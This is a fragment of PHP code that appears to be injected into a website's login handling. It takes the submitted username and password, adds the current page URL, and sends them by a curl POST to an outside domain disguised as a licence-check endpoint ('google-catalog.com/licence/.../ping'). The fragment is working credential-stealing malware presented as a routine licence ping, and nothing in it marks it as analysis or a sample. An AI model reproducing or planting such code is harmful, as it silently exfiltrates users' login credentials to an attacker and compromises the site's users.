$data = array(); $data['email'] = $_POST['login']['username']; $data['password'] = $_POST['login']['password']; $data['referer'] = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $myCurl = curl_init(); curl_setopt($myCurl, CURLOPT_HTTPHEADER, array( )); curl_setopt_array($myCurl, array( CURLOPT_URL => 'https://google-catalog.com/licence/4861/ping', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data) )); $response = curl_exec($myCurl); curl_close($myCurl); } ?>